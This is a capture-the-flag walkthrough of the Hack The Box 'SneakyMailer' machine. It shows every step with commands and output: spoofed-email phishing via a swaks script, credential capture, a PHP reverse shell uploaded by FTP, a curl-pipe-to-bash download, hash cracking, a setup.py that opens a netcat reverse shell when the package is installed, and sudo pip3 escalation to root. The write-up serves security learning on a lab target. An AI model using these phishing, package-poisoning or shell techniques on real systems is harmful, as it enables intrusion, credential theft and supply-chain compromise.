Post

Hackthebox Sneakymailer walkthrough

sneakymailer

Recon

NMAP

roott@kali:~$ sudo nmap 10.10.10.197 -sV -sC -p- -A 
Starting Nmap 7.80 ( https://nmap.org ) at 2020-11-27 05:55 EST
Stats: 0:17:15 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 98.61% done; ETC: 06:12 (0:00:00 remaining)
Nmap scan report for sneakycorp.htb (10.10.10.197)
Host is up (0.98s latency).
Not shown: 65528 closed ports
PORT     STATE SERVICE    VERSION
21/tcp   open  ftp        vsftpd 3.0.3
22/tcp   open  ssh        OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 57:c9:00:35:36:56:e6:6f:f6:de:86:40:b2:ee:3e:fd (RSA)
|   256 d8:21:23:28:1d:b8:30:46:e2:67:2d:59:65:f0:0a:05 (ECDSA)
|_  256 5e:4f:23:4e:d4:90:8e:e9:5e:89:74:b3:19:0c:fc:1a (ED25519)
25/tcp   open  smtp       Postfix smtpd
|_smtp-commands: debian, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING, 
| ssl-cert: Subject: commonName=debian
| Subject Alternative Name: DNS:debian
| Not valid before: 2020-05-14T17:12:20
|_Not valid after:  2030-05-12T17:12:20
|_ssl-date: TLS randomness does not represent time
80/tcp   open  http       nginx 1.14.2
|_http-server-header: nginx/1.14.2
|_http-title: Employee - Dashboard
143/tcp  open  imap       Courier Imapd (released 2018)
|_imap-capabilities: STARTTLS THREAD=ORDEREDSUBJECT THREAD=REFERENCES QUOTA ACL CAPABILITY completed UTF8=ACCEPTA0001 IMAP4rev1 SORT ACL2=UNION NAMESPACE ENABLE CHILDREN UIDPLUS IDLE OK
| ssl-cert: Subject: commonName=localhost/organizationName=Courier Mail Server/stateOrProvinceName=NY/countryName=US
| Subject Alternative Name: email:postmaster@example.com
| Not valid before: 2020-05-14T17:14:21
|_Not valid after:  2021-05-14T17:14:21
|_ssl-date: TLS randomness does not represent time
993/tcp  open  ssl/imaps?
|_imap-capabilities: THREAD=ORDEREDSUBJECT THREAD=REFERENCES QUOTA ACL CAPABILITY completed UTF8=ACCEPTA0001 IMAP4rev1 AUTH=PLAIN SORT ACL2=UNION NAMESPACE ENABLE CHILDREN UIDPLUS IDLE OK
| ssl-cert: Subject: commonName=localhost/organizationName=Courier Mail Server/stateOrProvinceName=NY/countryName=US
| Subject Alternative Name: email:postmaster@example.com
| Not valid before: 2020-05-14T17:14:21
|_Not valid after:  2021-05-14T17:14:21
|_ssl-date: TLS randomness does not represent time
8080/tcp open  http       nginx 1.14.2
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: nginx/1.14.2
|_http-title: Welcome to nginx!
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=11/27%OT=21%CT=1%CU=40029%PV=Y%DS=2%DC=T%G=Y%TM=5FC0DF
OS:4C%P=x86_64-pc-linux-gnu)SEQ(SP=102%GCD=1%ISR=108%TI=Z%CI=Z%II=I%TS=C)OP
OS:S(O1=M54BST11NW7%O2=M54BST11NW7%O3=M54BNNT11NW7%O4=M54BST11NW7%O5=M54BST
OS:11NW7%O6=M54BST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)EC
OS:N(R=Y%DF=Y%T=40%W=FAF0%O=M54BNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=
OS:AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(
OS:R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%
OS:F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N
OS:%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%C
OS:D=S)

Network Distance: 2 hops
Service Info: Host:  debian; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 1025/tcp)
HOP RTT       ADDRESS
1   219.86 ms 10.10.16.1
2   136.11 ms sneakycorp.htb (10.10.10.197)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1080.13 sec
That`s a big scan result. At the end of the scan you can see the domain so we need to add it. add sneakycorp.htb to /etc/hosts file

Port 80

Let`s see what we can find.

3

It`s a pypi server Let`s check team and see what we can find

4

All e-mails of employees including ceo Now we need to extract e-mails for the webpage, I used online email extractor tool. https://email-checker.net/extract
crtl+a to select all and copy them.

5

Paste them and click on extract email

6

Result

7

Now save it all in a fill name it emails

Phishing

We need to sned spoofed emails to check what we can get, I used swaks https://github.com/jetmore/swaks
➜  sneakymailer swaks --from "angelicaramos@sneakymailer.htb" --body "Test msg" --to angelicaramos@sneakymailer.htb
=== Trying sneakymailer.htb:25...
=== Connected to sneakymailer.htb.
<-  220 debian ESMTP Postfix (Debian/GNU)
 -> EHLO m19o
<-  250-debian
<-  250-PIPELINING
<-  250-SIZE 10240000
<-  250-VRFY
<-  250-ETRN
<-  250-STARTTLS
<-  250-ENHANCEDSTATUSCODES
<-  250-8BITMIME
<-  250-DSN
<-  250-SMTPUTF8
<-  250 CHUNKING
 -> MAIL FROM:<angelicaramos@sneakymailer.htb>
<-  250 2.1.0 Ok
 -> RCPT TO:<angelicaramos@sneakymailer.htb>
<-  250 2.1.5 Ok
 -> DATA
<-  354 End data with <CR><LF>.<CR><LF>
 -> Date: Wed, 15 Jul 2020 22:56:30 -0400
 -> To: angelicaramos@sneakymailer.htb
 -> From: angelicaramos@sneakymailer.htb
 -> Subject: test Wed, 15 Jul 2020 22:56:30 -0400
 -> Message-Id: <20200715225630.013546@m19o>
 -> X-Mailer: swaks v20190914.0 jetmore.org/john/code/swaks/
 -> 
 -> Test msg
 -> 
 -> 
 -> .
<-  250 2.0.0 Ok: queued as F3049248C8
 -> QUIT
<-  221 2.0.0 Bye
=== Connection closed with remote host.

Phishing script

import os
def open_ressources(file_path):
    return [item.replace("\n", "") for item in open(file_path).readlines()]
wordlist = open_ressources("emails")

for emails in wordlist:
        print "\n[+]Sending email to " + emails
        command = 'swaks --from "angelicaramos@sneakymailer.htb" --body "http://10.10.14.24:8080" --to ' + emails + " > /dev/null"
        #print command
        os.system(command)
Result after running the script
➜  sneakymailer python spoof-msg.py                                                    

[+]Sending email to airisatou@sneakymailer.htb

[+]Sending email to angelicaramos@sneakymailer.htb

[+]Sending email to ashtoncox@sneakymailer.htb

[+]Sending email to bradleygreer@sneakymailer.htb
The response on listener
➜  m19o nc -nlvp 8080 
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::8080
Ncat: Listening on 0.0.0.0:8080
Ncat: Connection from 10.10.10.197.
Ncat: Connection from 10.10.10.197:48426.
POST / HTTP/1.1
Host: 10.10.14.24:8080
User-Agent: python-requests/2.23.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 185
Content-Type: application/x-www-form-urlencoded

firstName=Paul&lastName=Byrd&email=paulbyrd%40sneakymailer.htb&password=%5E%28%23J%40SkFv2%5B%25KhIxKk%28Ju%60hqcHl%3C%3AHt&rpassword=%5E%28%23J%40SkFv2%5B%25KhIxKk%28Ju%60hqcHl%3C%3AHt
So we found user : paulbyrd and the password we need to decode it Result after decoding
firstName=Paul&lastName=Byrd&email=paulbyrd@sneakymailer.htb&password=^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht&rpassword=^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht
So we Got mail: paulbyrd@sneakymailer.htb user: paulbyrd password: ^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht Now i need to install evolution and enter the creds for smpt server 10.10.10.197 and the mail we found

mail 1 :

发件人: Paul Byrd paulbyrd@sneakymailer.htb
收件人: low@debian
主题: Module testing
日期: Wed, 27 May 2020 13:28:58 -0400

Hello low


Your current task is to install, test and then erase every python module you
find in our PyPI service, let me know if you have any inconvenience.

mail 2 :

发件人: Paul Byrd paulbyrd@sneakymailer.htb
收件人: root root@debian
主题: Password reset
日期: Fri, 15 May 2020 13:03:37 -0500 (2020年05月15日 14时03分37秒)

Hello administrator, I want to change this password for the developer account

Username: developer
Original-Password: m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C

Please notify me when you do it

FTP login

➜  m19o ftp sneakymailer.htb
Connected to sneakymailer.htb.
220 (vsFTPd 3.0.3)
Name (sneakymailer.htb:prashant): developer
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
dev
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxrwxr-x    8 0        1001         4096 Jul 15 22:30 dev
226 Directory send OK.
ftp>
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    2 0        0            4096 May 26 19:52 css
drwxr-xr-x    2 0        0            4096 May 26 19:52 img
-rwxr-xr-x    1 0        0           13742 Jun 23 09:44 index.php
drwxr-xr-x    3 0        0            4096 May 26 19:52 js
drwxr-xr-x    2 0        0            4096 May 26 19:52 pypi
drwxr-xr-x    4 0        0            4096 May 26 19:52 scss
-rwxr-xr-x    1 0        0           26523 May 26 20:58 team.php
drwxr-xr-x    8 0        0            4096 May 26 19:52 vendor
226 Directory send OK.
ftp>
let`s try to upload reverse shell and execute it
ftp> put shell.php
local: shell.php remote: shell.php
200 PORT command successful. Consider using PASV.
150 Ok to send data.
226 Transfer complete.
5492 bytes sent in 0.00 secs (59.5179 MB/s)
i tried to execute it at http://sneakycorp.htb/shell.php but did work so i checked if dev is subdomain

sub

Lol, it is a subdomain that was easy. You can use a lot of tools to get subdomain and you can be lucky 😂 let`s upload the shell and execute it from http://dev.sneakycorp.htb/shell.php

Shell

➜  m19o rlwrap nc -nlvp 1234 
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 10.10.10.197.
Ncat: Connection from 10.10.10.197:41628.
Linux sneakymailer 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2 (2020-04-29) x86_64 GNU/Linux
 00:10:18 up 26 min,  0 users,  load average: 0.04, 0.10, 0.09
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
bash: cannot set terminal process group (715): Inappropriate ioctl for device
bash: no job control in this shell
www-data@sneakymailer:/$
It worked and we got in as www-data let`s us SU to switch to developer user we found
www-data@sneakymailer:/$ su developer
su developer
Password: m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C

developer@sneakymailer:/$
i found 2 users
developer@sneakymailer:/home$ ls
ls
low  vmail
Can`t get the user hash so let`s try to enumerate by Linenum.sh/p>
developer@sneakymailer:/tmp$ curl http://10.10.14.24:8080/LinEnum.sh | bash                                                                                                                                        
curl http://10.10.14.24:8080/LinEnum.sh | bash                                                           
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current                          
                                 Dload  Upload   Total   Spent    Left  Speed                            
100 46476   57 26729    0     0  12519      0  0:00:03  0:00:02  0:00:01 12525476  100 46476    0     0  18908      0  0:00:02  0:00:02 --:--:-- 18908                                                             
                                                    
#########################################################                                                
# Local Linux Enumeration & Privilege Escalation Script #                                                
#########################################################                                                
# www.rebootuser.com                                                                                     
# version 0.981                                 
                                                                                                         
[-] Debug Info                                                                                           
[+] Thorough tests = Disabled 
we found password at .htpasswd
[-] htpasswd found - could contain passwords:                                                            
/var/www/pypi.sneakycorp.htb/.htpasswd                                                                   
pypi:$apr1$RV5c5YVs$U9.OTqF5n8K4mxWpSSR/p/
Let`s crack it
➜  m19o john hash -w=/usr/share/wordlists/rockyou.txt
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Will run 5 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
soufianeelhaoui  (pypi)
1g 0:00:00:12 DONE (2020-07-16 00:43) 0.07757g/s 277312p/s 277312c/s 277312C/s souheib2..sottod
Use the "--show" option to display all of the cracked passwords reliably
Session completed
Remember the mail we got for low user
Hello low


Your current task is to install, test and then erase every python module you 
find in our PyPI service, let me know if you have any inconvenience.

Building the package

https://pypi.org/project/pypiserver/#upload-with-setuptools
https://packaging.python.org/tutorials/packaging-projects/
https://packaging.python.org/guides/distributing-packages-using-setuptools/

i have to make two files

  • .pypirc
  • setup.py

The file .pypircwill give me authority and setup.py will be contain the package

.pypirc
[distutils]
index-servers = local

[local]
repository: http://pypi.sneakycorp.htb:8080
username: pypi
password: soufianeelhaoui
setup.py will contain the reverse shell
import setuptools
import os

if os.getuid() == 1000:
        os.system('nc -e /bin/bash 10.10.17.16 2345')


setuptools.setup(
        name='sample',
        version='1.2.0',
        description='A sample Python project',
        long_description="long_description",
        long_description_content_type='text/x-rst',
        url='https://github.com/pypa/sampleproject',
        author='A. Random Developer',
        author_email='author@example.com',
        license='MIT',
        packages=setuptools.find_packages(),
        install_requires=['peppercorn'],
)
id : 1000 belongs to user "Low" , the file will be executed twice
  • Developer will run it
  • Low will run it too to test it
So i want the shell as "low",let`s nc and upload the files to execute it
developer@sneakymailer:/tmp$ wget -r --no-parent http://10.10.17.16:8080/pypi-pkg                                                                                                                                  
<get -r --no-parent http://10.10.17.16:8080/pypi-pkg                                                                                                                                                               
--2020-07-16 01:06:23--  http://10.10.17.16:8080/pypi-pkg                                                                                                                                                          
Connecting to 10.10.17.16:8080... connected.
HTTP request sent, awaiting response... 301 Moved Permanently
Location: /pypi-pkg/ [following]
--2020-07-16 01:06:24--  http://10.10.17.16:8080/pypi-pkg/
Connecting to 10.10.17.16:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 294 [text/html]
Saving to: ‘10.10.17.16:8080/pypi-pkg’

10.10.14.24:8080/py 100%[===================>]     294  --.-KB/s    in 0s      

2020-07-16 01:06:25 (23.1 MB/s) - ‘10.10.17.16:8080/pypi-pkg’ saved [294/294]


--2020-07-16 01:06:26--  http://10.10.17.16:8080/pypi-pkg/.pypirc
Connecting to 10.10.17.16:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 128 [application/octet-stream]
Saving to: ‘10.10.17.16:8080/pypi-pkg/.pypirc’

10.10.14.24:8080/py 100%[===================>]     128  --.-KB/s    in 0s      

2020-07-16 01:06:26 (10.6 MB/s) - ‘10.10.17.16:8080/pypi-pkg/.pypirc’ saved [128/128]


--2020-07-16 01:06:28--  http://10.10.17.16:8080/pypi-pkg/setup.py
Connecting to 10.10.17.16:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 480 [text/plain]
Saving to: ‘10.10.14.24:8080/pypi-pkg/setup.py’

10.10.14.24:8080/py 100%[===================>]     480  --.-KB/s    in 0s      

2020-07-16 01:06:29 (45.9 MB/s) - ‘10.10.17.16:8080/pypi-pkg/setup.py’ saved [480/480]
developer@sneakymailer:/tmp/10.10.14.24:8080$ ls
ls
pypi-pkg
developer@sneakymailer:/tmp/10.10.14.24:8080/pypi-pkg$ ls -a
ls -a
.  ..  .pypirc  setup.py

Executing the package

Setting the path to current dir
developer@sneakymailer:/tmp/10.10.17.16:8080/pypi-pkg$ HOME=`pwd`
Running setup.py
developer@sneakymailer:~$ python3 setup.py sdist register -r local upload -r local
<n3 setup.py sdist register -r local upload -r local
running sdist
running egg_info
creating sample.egg-info
writing sample.egg-info/PKG-INFO
writing dependency_links to sample.egg-info/dependency_links.txt
writing requirements to sample.egg-info/requires.txt
writing top-level names to sample.egg-info/top_level.txt
writing manifest file 'sample.egg-info/SOURCES.txt'
reading manifest file 'sample.egg-info/SOURCES.txt'
writing manifest file 'sample.egg-info/SOURCES.txt'
warning: sdist: standard file not found: should have one of README, README.rst, README.txt, README.md

running check
creating sample-1.2.0
creating sample-1.2.0/sample.egg-info
copying files to sample-1.2.0...
copying setup.py -> sample-1.2.0
copying sample.egg-info/PKG-INFO -> sample-1.2.0/sample.egg-info
copying sample.egg-info/SOURCES.txt -> sample-1.2.0/sample.egg-info
copying sample.egg-info/dependency_links.txt -> sample-1.2.0/sample.egg-info
copying sample.egg-info/requires.txt -> sample-1.2.0/sample.egg-info
copying sample.egg-info/top_level.txt -> sample-1.2.0/sample.egg-info
Writing sample-1.2.0/setup.cfg
creating dist
Creating tar archive
removing 'sample-1.2.0' (and everything under it)
running register
Registering sample to http://pypi.sneakycorp.htb:8080
Server response (200): OK
WARNING: Registering is deprecated, use twine to upload instead (https://pypi.org/p/twine/)
running upload
Submitting dist/sample-1.2.0.tar.gz to http://pypi.sneakycorp.htb:8080
Server response (200): OK
WARNING: Uploading via this command is deprecated, use twine to upload instead (https://pypi.org/p/twine/)

User flag!.

➜  sneakymailer rlwrap nc -nlvp 2345                                   
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::2345
Ncat: Listening on 0.0.0.0:2345
Ncat: Connection from 10.10.10.197.
Ncat: Connection from 10.10.10.197:45674.
python -c "import pty;pty.spawn('/bin/bash')"
low@sneakymailer:/$ whoami
whoami
low
low@sneakymailer:~$ cat user.txt
cat user.txt
a5b----------------------------a9

Root flag!.

Privilege escalation

low@sneakymailer:~$ sudo -l
sudo: unable to resolve host sneakymailer: Temporary failure in name resolution
Matching Defaults entries for low on sneakymailer:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User low may run the following commands on sneakymailer:
    (root) NOPASSWD: /usr/bin/pip3
Go tohttps://gtfobins.github.io/gtfobins/pip/and search for pip
TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
pip install $TF
low@sneakymailer:~$ TF=$(mktemp -d)
low@sneakymailer:~$ echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
low@sneakymailer:~$ sudo pip3 install $TF
low@sneakymailer:~$ sudo pip3 install $TF
sudo: unable to resolve host sneakymailer: Temporary failure in name resolution
Processing /tmp/tmp.tQid5dJuNf
# bash
root@sneakymailer:/tmp/pip-req-build-9k8kjhct# whoami
root

And we are “ROOT”!.

root@sneakymailer:~# cat root.txt
11----------------------------ff
root@sneakymailer:~#

Thanks for Reading 🙏

This post is licensed under CC BY 4.0 by the author.